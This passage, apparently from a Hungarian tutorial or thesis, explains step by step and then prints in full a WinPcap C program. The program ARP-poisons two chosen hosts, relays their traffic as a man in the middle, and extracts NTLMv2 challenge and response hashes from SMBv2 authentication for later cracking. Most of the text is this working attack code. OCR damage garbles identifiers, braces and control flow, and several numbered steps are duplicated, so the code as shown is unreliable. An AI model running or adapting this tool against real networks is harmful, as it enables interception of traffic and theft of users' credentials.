tudja, hogy a mi MAC cimiink tartozik az IP1-es géphez.

282.Elkiildjiik a csomagot. Egy if feltétellel ellendrizziik, hogy tortént-e hiba a kiildés soran.

283.1f igaz 4ga, vagyis ha hibatortént

284 kiirjuk, hogy hiba tortént a tovabbitas kozben

285.kilépilink

286.vége a csomag kiildés hibajat lekezeld if agnak

287.vége az IP2 felé forwardolast végzd if dgnak

288.Ha a csomag elég nagy ahhoz, hogy SMBV2 legyen, akkor megvizsgaljuk

289.indul az if igaz 4ga

290.A csomag 14. byte-ja tartalmazza az [P header méretét. Azonban csak az als6 4 byteon. A
masik 4 byte az IP verzid, amire nincs sziikségiink. Ezért egy 4 byteos balra shifttel csak az
alsé 4 byte-ot tartjuk meg. Ezutan vissza kéne tolnunk a helyére (jobb shift 4 bytettal), de
mivel a hedaer méretét word-ben, tartalmazza az IP csomag, ezért hogy byteban kapjam
ezutan meg kellene még szoroznom 4-el. Ezt a két miiveletet egybevonhatjuk, hogy csak 2
bytetal tolom vissza jobbra. Ezt az értéket az iphead nevii valtozoban taroljuk le

291.Mostmar ki tudom olvasni a TCPHeader méretét. Ennek a pozicidja a csomagban 14 + az
elébb kiolvasott IP header + 12 pozicion lesz. Itt szintén csak az also 4 byte az, ami a TCP
header méretét tarolja, €s szintén word-ben. Ezért az el6z0 triikkkot alkalmazva ezt az értéket
eldszor balra toljuk 4 bytetal, majd jobbra kettdvel, hogy byte-ban kapjam meg a TCP fejléc
méretét. Ezt az értéket a tcphead nevil valtozoban taroljuk le.

292.Mostmar meg tudjuk allapitani, hogy a csomag valoban SMBv2-e. Amennyiben a a
csomagban a 14+tcphead+iphead+4.. 14+tcphead+iphead+7 byteok értéke pontosan OxFE,
0x53, 0x4D, 0x42, akkor SMBV2 csomaggal van dolgunk, tehat tovabb analizalhatjuk

293.Indul az if igaz aga, vagyis SMBv2 csomagrol van szo.

294 Kiolvassuk az offsetl, vagyis a request offset (ssroff) értékeket. Mivel a csomagban byte
tombben van tarolva az érték, ezért a byte tdmbbe tessziik be, de mivel a byte tomb, és az
integer valtozo fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekertil" a
megfeleld érték. A csomagban az offset csak 2 byteon van tarolva, ezértaz elsd 2 byte-ot az
offsetl byte tombben ki kell nullazni.

295.Kiolvassuk az offsetl, vagyis a request offset (ssroff) értékeket. Mivel a csomagban byte
tombben van tarolva az érték, ezért a byte tdmbbe tessziik be, de mivel a byte tomb, és az
integer valtozo6 fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a
megfeleld érték. A csomagban az offset csak 2 byteon van tarolva, ezértaz elsé 2 byte-ot az
offsetl byte tombben ki kell nullazni.

296.Kiolvassuk az offsetl, vagyis a request offset (ssroff) értékeket. Mivel a csomagban byte
tombben van tarolva az érték, ezért a byte tdmbbe tessziik be, de mivel a byte tomb, és az
integer valtozo fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekertil" a
megfeleld érték. A csomagban az offset csak 2 byteon van tarolva, ezértaz elsd 2 byte-ot az
offsetl byte tombben ki kell nulldzni.14 + iphead + tcphead + 9

297.Kiolvassuk az offsetl, vagyis a request offset (ssroff) értékeket. Mivel a csomagban byte
tombben van tarolva az érték, ezért a byte tdmbbe tessziik be, de mivel a byte tomb, és az
integer valtozo6 fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a



megfeleld érték. A csomagban az offset csak 2 byteon van tarolva, ezértaz elsé 2 byte-ot az
offsetl byte tombben ki kell nullazni.14 + iphead + tcphead + 8

298.Kiolvassuk az offset2 vagyis az ntlmv2 offset (ntlmoffs) értékeket. Mivel byte tombben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfelel6 érték.

299.Kiolvassuk az offset2 vagyis az ntlmv2 offset (ntlmofts) értékeket. Mivel byte tombben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, és az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfeleld értek.

300.Kiolvassuk az offset2 vagyis az ntlmv2 offset (ntlmoffs) értékeket. Mivel byte tombben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekertil" a megfeleld
érték.14 + iphead + tcphead + 4 + offset] + 1

301.Kiolvassuk az offset2 vagyis az ntlmv2 offset (ntlmoffs) értékeket. Mivel byte tombben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekertil" a megfeleld
érték.14 + iphead + tcphead + 4 + offsetl

302.Az elébb kiolvasott offset2 legalsé bitje egy jeldlo bit, ezért ki kell vonni beldle 1-et.

303.Mostmar meg tudjuk vizsgalni, hogy a challange-et tartalmaz6, request, vagy a response
csomagrol van-e sz6. Amennyiben a challange-et tartalmazé csomag, akkor a 14 + iphead +
tcphead + 4 + offset] + offset2 + 31.. 14 + iphead + tcphead + 4 + offset] + offset2 + 42
bytokon a 4e,54,4c,4d,53,53,50,00,02,00,00,00 értékeknek kell szerepelnie.

304. Inful az if igaz dga (vagyis ez egy challange-t tartalmaz6 csomag)

305.kiirjuk, hogy challange:

306.inditunk egy ciklust, hogy kiolvassuk a challange 8 byte-jat

307.indul a ciklus

308.a challange nevii valtozdba betessziik a csomagbdl a megfeleld bytokat. A challange a 14 +
iphead + tcphead + 4 + offsetl + offset2 + 55..14 + iphead + tcphead + 4 + offset] + offset2
+ 62 pozicion van.

309.Ha a kiolvasott érték kissebb, mint 16

310.1f igaz 4ga

311.akkor ki kell irni a kiolvasott értéket a vezetd nullaval egyiitt.

312.vége az if igaz dganak

313.egyébként (vagyis az érték nagyobb, mint 16)

314.indul az if hamis aga

315.ki kell irni a kiolvasott értéket, de most két karakteren van abrazolva, ezért nem kell a vezeto
0.

316.vége az if hamis dganak, és a kiirato résznek is.

317.Vége a for ciklusnak

318.vége a challange csomagot megvizsgalo if igaz dganak.

319.Megvizsgaljuk, hogy a challange-et tartalmazd, request, vagy a response csomagrol van-e
sz6. Amennyiben response csomag, akkor a 14 + iphead + tcphead + 4 + offset] + offset2 +
31.. 14 + iphead + tcphead + 4 + offset] + offset2 + 42 bytokon a
4e,54,4¢,4d,53,53,50,00,03,00,00,00 értekeknek kell szerepelnie.

320.Indul az if igaz 4ga (vagyis response csomagrol van szo)

321.kiirjuk, hogy HMAC:

322.Kiolvassuk a length vagyis az ntlmv2 response length értékeket. Mivel byte tombben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, és az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfeleld
érték.Mivel a csomagban a length csak 2 byteon van tarolva, ezért a felsé két byteot
kinullazzuk.

323.Kiolvassuk a length vagyis az ntlmv2 response length értékeket. Mivel byte tdmbben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer valtozo



fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekertil" a megfeleld
érték.Mivel a csomagban a length csak 2 byteon van tarolva, ezért a felso két byteot
kinulldzzuk.

324.Kiolvassuk a length vagyis az ntlmv2 response length értékeket. Mivel byte tombben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, és az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfeleld
értek. Az értéket a kovetkezd poziciorol kell kiolvasni: 14 + iphead + tcphead + 4 + offset] +
offset2 + 42

325.Kiolvassuk a length vagyis az ntlmv2 response length értékeket. Mivel byte tdmbben van
tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfeleld érték.
Az értéket a kdvetkezd poziciorol kell kiolvasni: 14 + iphead + tcphead + 4 + offsetl +
offset2 + 41

326.Kiolvassuk az offset3 vagyis az ntlmv2 response offset (ntlmrespoffs) értékeket. Mivel byte
tombben van tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer
valtozo6 fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a
megfeleld érték.Mivel a csomagban a length csak 2 byteon van tarolva, ezért a fels6 két
byteot kinullazzuk.

327.Kiolvassuk az offset3 vagyis az ntlmv2 response offset (ntlmrespoffs) értékeket. Mivel byte
tombben van tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, és az integer
valtozo fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a
megfeleld érték.Mivel a csomagban a length csak 2 byteon van tarolva, ezért a felsé két
byteot kinullazzuk.

328.Kiolvassuk a length vagyis az ntlmv2 response offset (ntlmrespoffs). Mivel byte tombben
van tarolva, ezért a byte tdmbbe tessziik be, de mivel a byte tomb, és az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfeleld
értek. Az értéket a kovetkezd poziciorol kell kiolvasni: 14 + iphead + tcphead + 4 + offset] +
offset2 + 46

329.Kiolvassuk a length vagyis az ntlmv2 response offset (ntlmrespoffs). Mivel byte tombben
van tarolva, ezért a byte tombbe tessziik be, de mivel a byte tomb, €s az integer valtozo
fizikailag ugyanarra a memoria cimre mutat, ezért oda is rogton "bekeriil" a megfeleld érték.
Az értéket a kdvetkezd poziciorol kell kiolvasni: 14 + iphead + tcphead + 4 + offsetl +
offset2 + 45

330.Elinditunk egy ciklust, hogy kiolvassuk a responset. A response hossza a két 1épéssel ezelott
kiolvasott length érték

331.Indul a ciklus

332.a response két részre oszthatd, az els6 16 byte a HMAC valasz, a tobbi a Kliens Blob. Ezért
megvizsgaljuk, hogy tartunk-e a 16. bytenal. Amennyiben igen, akkor kiirjuk, hogy Client
BLOB:

333.A response tombbe beleirjuk a kiolvasott értéket. A csomagban a response a 14 + iphead +
tcphead + 4 + offset] + offset2 + 21 + offset3.. 14 + iphead + tcphead + 4 + offset] + offset2
+ 21 + offset3 + length pozicion vannak.

334.Ha a kiolvasott érték kissebb, mint 16

335.1f igaz 4ga

336.akkor ki kell irni a kiolvasott értéket a vezetd nullaval egyfitt.

337.vége az if igaz dganak

338.egyébként (vagyis az érték nagyobb, mint 16)

339.indul az if hamis aga

340.ki kell irni a kiolvasott értéket, de most két karakteren van abrazolva, ezért nem kell a vezeto
0.

341.vége az if hamis dganak, és a kiirato résznek is.

342.Vége a for ciklusnak



343.vége a response csomagot megvizsgalo if igaz aganak.

344.Vége az SMBV2 agnak.

345.Vége a csomag méretét vizsgalo if 4gnak

346.Megvizsgaljuk, hogy tobb, mint 30 masodperc telt-e el az utolsé poisonold csomag
kikiildése ota.

347.Indul az if igaz 4ga

348.A csomagokat a pcap_sendpacket fiiggvénnyel kiildhetjiik el. A fliggvény 0-t ad visszatérd
értéknek, ha sikeriilt az elkiildés, barmi mas azt jelenti, hogy hiba volt. A fliggvénynek
harom paramétere van:
* A Kkartyara mutaté handle, amit a pcap_open fiiggvény adott vissza
* az elkiildend6 csomag most a poisontol valtozéban van.
* az elkiildend6 byteok szama, arp csomag esetében 42 byte.

349.indul az if igaz aga

350.Ha hiba tortént kiirjuk, hogy hiba van

351.kilépiink a programbol

352.vége az if igaz dganak

353.elkiildjiik a poisonto2 csomag tartalmat hasonloan az el6z6 kiildéshez.

354.indul az if igaz 4ga

355.Ha hiba tortént kiirjuk, hogy hiba van

356.kilépiink a programbol

357.vége az if igaz aganak

358. beallitjuk, hogy most kiildtiik az utols6 poisoningold csomagot.

359.Vége az 1d6t ellendrzé if igaz dganak

360.Vége a while ciklusnak

361.felszabaditjuk az er6forrasokat

362.Vége a programnak

A teljes kéd egyben

#include "pcap.h"

#include "..\Include\packet32.h"
#include <ntddndis.h>

#include <string>

void main()

{

pcap_if t *alldevs;

pcap_if t *d;

int i=0;

char errbuf[PCAP_ERRBUF SIZE];

/* Retrieve the device list from the local machine */
if (pcap_findalldevs ex(PCAP_SRC IF STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)

}

fprintf(stderr,"Error in pcap _findalldevs ex: %s\n", errbuf);
exit(1);

/* Print the list */
for(d= alldevs; d != NULL; d= d->next)

{

printf("%d. %s", ++i, d->name);
if (d->description)

printf(" (%s)\n", d->description);
else



printf(" (No description available)\n");

}
int inum=0;
char ip1[17];
char ip2[17];

printf("Enter the interface number (1-%d): ",i);
scanf s("%d", &inum);

printf("Enter the IP of first computer: ");
scanf s("%]16s", &ipl, 16);

printf("Enter the IP of second computer: ");
scanf s("%16s", &ip2, 16);
if(inum < 1 || inum > 1)

printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(2);

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
LPADAPTER IpAdapter = 0;
PPACKET OID_DATA OidData;
BOOLEAN Status;
char *devname = new char[strlen(d->name)-8];
for(i = 8; d->namef[i] != 0; i++)

devname[i-8] = d->name][i];

devname[i-8] = 0;
IpAdapter = PacketOpenAdapter(devname);
OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET _OID_DATA));
if (OidData == NULL)

{
printf("error allocating memory!\n");
PacketCloseAdapter(IpAdapter);
exit(3);

H

OidData->0id = OID 802 3 CURRENT ADDRESS;
OidData->Length = 6;

ZeroMemory(OidData->Data, 6);

Status = PacketRequest(IpAdapter, FALSE, OidData);
PacketCloseAdapter(IpAdapter);

u_long myiptmp = ((struct sockaddr in *)d->addresses->addr)->sin_addr.s addr;
u_char *myip;

myip = (u_char *)&myiptmp;

u_char iplarr[4];

1=0;
iplarr[i] = atoi(strtok (ipl," ,.-"));
while (i<3)
{
i+

iplarr[i] = atoi(strtok (NULL, " ,.-"));
printf("%;.",iplart[i]);
§
u_char macrequest1[42] =
{OxFF, OxFF, OxFF, OxFF, OxFF, OxFF,
OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Data[5],
0x08, 0x006,
0x00, 0x01,
0x08, 0x00,
0x06,
0x04,
0x00, 0x01,
OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-



>Datal[5],

myip[0], myip[1], myip[2], myip[3],
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
(u_char)iplarr[0], (u_char)iplarr[1], (u_char)iplarr[2], (u_char)iplarr[3]

S
u_char ip2arr[4];
i=0;
ip2arr[i] = atoi(strtok (ip2," ,.-"));
while (i<3)
{
it+;

ip2arr[i] = atoi(strtok (NULL, " ,.-"));
printf("%i.",ip2arr[i]);

u_char macrequest2[42] =
{0xFF, OxFF, OxFF, OxFF, OxFF, OxFF,
OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal[5],
0x08, 0x06,
0x00, 0x01,
0x08, 0x00,
0x06,
0x04,
0x00, 0x01,
OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal[5],
myip[0], myip[ 1], myip[2], myip[3],
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
(u_char)ip2arr[0], (u_char)ip2arr[1], (u_char)ip2arr[2], (u_char)ip2arr[3]
3
pcap_t *adhandle;
printf("\nadaptername: %s\n",d->name);
if ( (adhandle= pcap open(d->name, // name of the device
65536, // portion of the packet to capture
// 65536 guarantees that the whole packet will be captured on all the link layers
PCAP_OPENFLAG _PROMISCUOQUS, //promiscuous mode

100, // read timeout

NULL, // authentication on the remote machine
errbuf // error buffer

))==NULL)

{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);

pcap_freealldevs(alldevs);
exit(4);
}

printf("\nlistening on %s...\n", d->description);

struct bpf program fcode;
u_int netmask;

netmask=((struct sockaddr in *)(d->addresses->netmask))->sin_addr.S un.S addr;
if (pcap_compile(adhandle, &fcode, "arp", 1, netmask) < 0)

{

fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
pcap_freealldevs(alldevs);
exit(5);

}
if (pcap_setfilter(adhandle, &fcode) < 0)
{

fprintf(stderr,"\nError setting the filter.\n");
pcap_freealldevs(alldevs);
exit(6);

}



if (pcap_sendpacket(adhandle, macrequestl, 42) !=0)

fprintf(stderr,\nError sending the packet: %s\n", pcap_geterr(adhandle));
exit(7);
}
if (pcap_sendpacket(adhandle, macrequest2, 42) !=0)

fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(adhandle));
exit(8);
}

struct pcap_pkthdr *header;

const u_char *pkt data;

int res;

u_char maclarr[6];

u_char mac2arr[6];

bool maclset=false;

bool mac2set=false;

time _t starttime;

starttime = time (NULL);

while((res = pcap_next_ex( adhandle, &header, &pkt data)) >= 0 && (maclset!=true) | (mac2set!=truc) &&
(difftime(time(NULL),starttime)<10))

{
if(res == 0)
continue;
if (iplarr[0]==pkt_data[28] && iplarr[1]==pkt data[29] && iplarr[2]==pkt data[30] &&
iplarr[3]==pkt_data[31] && maclset!=true)

{
maclarr[0]=pkt data[22];
maclarr[1]=pkt data[23];
maclarr[2]=pkt data[24];
maclarr[3]=pkt data[25];
maclarr[4]=pkt_data[26];
maclarr[5]=pkt_data[27];
maclset=true;

}

if (ip2arr[0]==pkt_data[28] && ip2arr[1]==pkt data[29] && ip2arr[2]==pkt data[30] &&

ip2arr[3]==pkt data[31] && mac2set!=true)

{
mac2arr[0]=pkt data[22];
mac2arr[1]=pkt_data[23];
mac2arr[2]=pkt_data[24];
mac2arr[3]=pkt_data[25];
mac2arr[4]=pkt_data[26];
mac2arr[5]=pkt data[27];
mac2set=true;

}

if(res == -1){
printf("Error reading the packets: %s\n", pcap_geterr(adhandle));
exit(9);

}

u_char poisonto1[42] =

{maclarr[0], maclarr[1], maclarr[2], maclarr[3], maclarr[4], maclarr[5],

OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Data[5],

0x08, 0x06,

0x00, 0x01,



0x08, 0x00,
0x06,
0x04,
0x00, 0x02,
OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Data[5],
(u_char)ip2arr[0], (u_char)ip2arr[1], (u_char)ip2arr[2], (u_char)ip2arr[3],
maclarr[0], maclarr[1], maclarr[2], maclarr[3], maclarr[4], maclarr[5],
(u_char)iplarr[0], (u_char)iplarr[1], (u_char)iplarr[2], (u_char)iplarr[3]

>

u_char poisonto2[42] =

{mac2arr[0], mac2arr[ 1], mac2arr[2], mac2arr[3], mac2arr[4], mac2arr[5],

OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal5],

0x08, 0x06,

0x00, 0x01,

0x08, 0x00,

0x06,

0x04,

0x00, 0x02,

OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal[5],

(u_char)iplarr[0], (u_char)iplarr[1], (u_char)iplarr[2], (u_char)iplarr[3],

mac2arr[0], mac2arr[ 1], mac2arr[2], mac2arr[3], mac2arr[4], mac2arr[5],

(u_char)ip2arr[0], (u_char)ip2arr[1], (u_char)ip2arr[2], (u_char)ip2arr[3]
¥

if (pcap_sendpacket(adhandle, poisontol, 42) !=0)
{
fprintf(stderr,\nError sending the poisoning packet: %s\n", pcap_geterr(adhandle));
exit(10);
}

{
fprintf(stderr,"\nError sending the poisoning packet: %s\n", pcap_geterr(adhandle));

exit(11);
}

{

fprintf(stderr,\nUnable to compile the packet filter. Check the syntax.\n");
pcap_freealldevs(alldevs);
exit(12);
}
if (pcap_setfilter(adhandle, &fcode) < 0)
{
fprintf(stderr,\nError setting the filter.\n");
pcap_freealldevs(alldevs);
exit(13);
}

if (pcap_sendpacket(adhandle, poisonto2, 42) !=0)

if (pcap_compile(adhandle, &fcode, "ip", 1, netmask) < 0)

time_t poisonlastsent;

poisonlastsent = time (NULL);

u_char pkt data2[1536];

u_char iphead, tcphead;

int offsetl, offset2, offset3, offset4, length;
u_char *offsetlarr, *offset2arr, *offset3arr, *offsetdarr, *lengtharr;
offsetlarr = (u_char *)&offsetl;

offset2arr = (u_char *)&offset2;

offset3arr = (u_char *)&offset3;

offsetdarr = (u_char *)&offset4;

lengtharr = (u_char *)&length;



u_char challange[8];
u_char response[1536];

int sendtoip 1=0;
int sendtoip2=0;

while((res = pcap_next_ex( adhandle, &header, &pkt data)) >= 0)

{
if(res == 0)
continue;

if ((pkt_data[30]==iplarr[0]) && (pkt data[31]==iplarr[1]) && (pkt data[32]==iplarr[2]) &&

(pkt_data[33]==iplarr[3])

&& (pkt_data[0]==OidData->Data[0]) && (pkt data[1]==OidData->Data[1]) &&

(pkt_data[2]==0idData->Data[2])

&& (pkt_data[3]==OidData->Data[3]) && (pkt data[4]==0OidData->Data[4]) &&

(pkt_data[5]==0idData->Data[5]))
{

CopyMemory(pkt data2,pkt data,header->len);
pkt_data2[0]=maclarr[0];
pkt_data2[1]=maclarr[1];
pkt_data2[2]=maclarr[2];
pkt_data2[3]=maclarr[3];
pkt_data2[4]=maclarr[4];
pkt_data2[S]=maclarr[5];
pkt_data2[6]=OidData->Data[0];
pkt data2[7]=OidData->Data[1];
pkt_data2[8]=0OidData->Data[2];
pkt_data2[9]=0OidData->Data[3];
pkt data2[10]=OidData->Data[4];
pkt_data2[11]=0idData->Data[5];
sendtoipl++;

if (pcap_sendpacket(adhandle, pkt data2, header->len) !=0)
{

printf("\nError sending the %i packet to ip1: %s. Only %d bytes were sent\n",

sendtoipl, pcap_geterr(adhandle), res);

}

exit(14);
H

if ((pkt_data[30]==ip2arr[0]) && (pkt data[31]==ip2arr[1]) && (pkt data[32]==ip2arr[2]) &&

(pkt_data[33]==ip2arr[3])

&& (pkt_data[0]==OidData->Data[0]) && (pkt data[1]==0idData->Data[1]) &&

(pkt_data[2]==0idData->Data[2])

&& (pkt_data[3]==OidData->Data[3]) && (pkt data[4]==OidData->Data[4]) &&

(pkt_data[5]==0idData->Data[5]))

{

CopyMemory(pkt data2,pkt data,header->len);
pkt_data2[0]=mac2arr[0];
pkt_data2[1]=mac2arr[1];
pkt_data2[2]=mac2arr[2];
pkt_data2[3]=mac2arr[3];
pkt_data2[4]=mac2arr[4];
pkt_data2[5]=mac2arr[5];

pkt_data2[6]=0OidData->Data[0];
pkt_data2[7]=OidData->Data[1];
pkt data2[8]=OidData->Data[2];
pkt_data2[9]=OidData->Data[3];
pkt data2[10]=OidData->Data[4];
pkt data2[11]=0idData->Data[5];
sendtoip2++;

if (pcap_sendpacket(adhandle, pkt data2, header->len) !=0)



printf("\nError sending the packet %i to ip2: %s. Only %d bytes were sent\n",
sendtoip2, pcap_geterr(adhandle), res);

exit(14);
H
H
if (header->len > 300)
{

iphead=(pkt data[14] << 4)>>2;
tcphead=(pkt_data[ 14+iphead+12] >> 4) << 2;

if ((pkt_data[14+iphead+tcphead+4]==0xfe) && (pkt_data[ 14+iphead-+tcphead+5]==0x53)
&& (pkt_data[ 14+iphead+tcphead+6]==0x4D)
&& (pkt_data[ 14+iphead-+tcphead+7]==0x42))
{
/I SMBV2 protokoll
offsetlarr[3]=0;
offsetlarr[2]=0;
offsetlarr[1]=pkt data[14+iphead-+tcphead+9];
offsetlarr[0]=pkt_ data[ 14+iphead+tcphead+8];

offset2arr[3]=0;
offset2arr[2]=0;
offset2arr[1]=pkt data[14+iphead+tcphead+4+offsetl+1];
offset2arr[0]=pkt data[ l4+iphead+tcphead+4+offsetl];

offset2=offset2-1;

if ((pkt_data[ 14+iphead-+tcphead+4+offsetl +offset2+31]==0x4¢) &&

(pkt_data[ 14+iphead-+tcphead+4+offsetl +offset2+32]==0x54)

&& (pkt_data[ 14+iphead+tcphead+4+offset] toffset2+33]==0x4c) &&
(pkt_data[ 14+iphead-+tcphead+4+offsetl +offset2+34]==0x4d)

&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+35]==0x53) &&
(pkt_data[ 14+iphead-+tcphead+4+offset1+offset2+36]==0x53)

&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+37]==0x50) &&
(pkt_data[ 14+iphead-+tcphead-+4+offsetl+offset2+38]==0x00)

&& (pkt_data[14+iphead+tcphead+4-+offset]l+offset2+39]==0x02) &&
(pkt_data[ 14+iphead-+tcphead+4+offsetl+offset2+40]==0x00)

&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+41]=—=0x00) &&
(pkt_data[ 14+iphead-+tcphead-+4+offsetl +offset2+42]==0x00))

{ /INTLMSSP request

printf("\nchallange: ");

for(i=0;1<8;i++)

{

challange[i]=pkt data[14+iphead+tcphead+4-+offset] +offset2+55+i];
if (challange[i]<16)
{ printf("0%x",challange[i]);
H
else
{
printf("%x",challange][i]);

H

H

H
if ((pkt_data[14+iphead+tcphead+4+offset]+offset2+21]==0x4e) &&
(pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+22]==0x54)
&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+23]==0x4c) &&
(pkt_data[ 14+iphead-+tcphead-+4+offsetl +offset2+24]==0x4d)



&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+25]==0x53) &&

(pkt_data[ 14+iphead-+tcphead+4+offsetl +offset2+26]==0x53)

&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+27]==0x50) &&

(pkt_data[ 14+iphead+tcphead+4+offset1+offset2+28]==0x00)

&& (pkt_data[ 14+iphead+tcphead+4+offset] +offset2+29]==0x03) &&

(pkt_data[ 14+iphead-+tcphead-+4+offset1+offset2+30]==0x00)

&& (pkt_data[ 14+iphead-+tcphead+4+offset] +offset2+31]=—=0x00) &&

(pkt_data[ 14+iphead-+tcphead-+4+offsetl +offset2+32]==0x00))

{
/INTLMSSP response

printf("\nHMAC: ");

lengtharr[3]=0;

lengtharr[2]=0;

lengtharr| 1]=pkt data[ 14+iphead+tcphead+4-+offsetl+offset2+42];
lengtharr[0]=pkt data[ 14+iphead+tcphead+4+offsetl+offset2+41];

offset3arr[3]=0;
offset3arr[2]=0;
offset3arr[1]=pkt data[14+iphead+tcphead+4+offsetl+offset2+46];
offset3arr[0]=pkt data[l4+iphead+tcphead+4-+offsetl+offset2+45];

for(i=0;i<length;i++)

{
if (i==16) printf("\nClient BLOB:");

response[i]=pkt_ data[ 14+iphead+tcphead+4+offsetl+offset2+21+offset3+i];

}

if (response[i]<16)
{

printf("0%x",responsel[i]);
H
else
{

printf("%x",response[i]);
H

if (difftime(time(NULL),poisonlastsent)>30)

if (pcap_sendpacket(adhandle, poisontol, 42) !=0)

fprintf(stderr,"\nError sending the repoisoning packet: %s\n", pcap_geterr(adhandle));

exit(15);

if (pcap_sendpacket(adhandle, poisonto2, 42) !=0)

{
{
}
{
pcap_geterr(adhandle));
H

}

fprintf(stderr,"\nError sending the repoisoning packet: %s\n",

exit(16);

poisonlastsent = time (NULL);

H

pcap_freealldevs(alldevs);
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